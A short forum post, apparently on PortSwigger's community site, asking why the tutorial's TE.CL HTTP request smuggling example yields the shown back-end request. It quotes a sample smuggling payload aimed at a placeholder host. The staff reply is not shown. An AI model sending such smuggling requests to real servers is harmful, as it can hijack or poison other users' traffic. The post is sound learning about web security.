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HTTP Request Smuggling

mlhblbl | Last updated: Feb 11, 2022 03:01PM UTC

Located at https://portswigger.net/web-security/request-smuggling/finding uri The request for "Confirming TE.CL vulnerabilities using differential responses" is given as "POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 7c GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 144 x= 0". On the other hand, the request returned by the server was given as "GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 146 x= 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling". But if the front-end uses TE, shouldn't the part that needs to be sent to the back-end in the first request sent up to 0? So I think the request returned by the server should be like this: "GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 146 x=POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling". Can you explain why it's not going that way?

Uthman, PortSwigger Agent | Last updated: Feb 14, 2022 01:52PM UTC